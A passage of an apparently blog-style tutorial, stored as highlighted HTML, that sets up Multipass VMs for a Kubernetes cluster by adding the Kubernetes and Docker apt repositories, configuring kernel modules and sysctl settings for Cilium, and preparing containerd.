data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eState\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIPv4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImage\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can start working on our controlplane first, lets shell in:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine.   We we are going to use containerd for this purpose.  You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up.   I’m going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e  because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e* Applying /etc/sysctl.d/k8s.conf ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elsmod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e28672\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e176128\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.all.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_host.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_net.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_vxlan.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.default.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.enp0s1.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lo.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets pull down the container runtime we’ll be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: 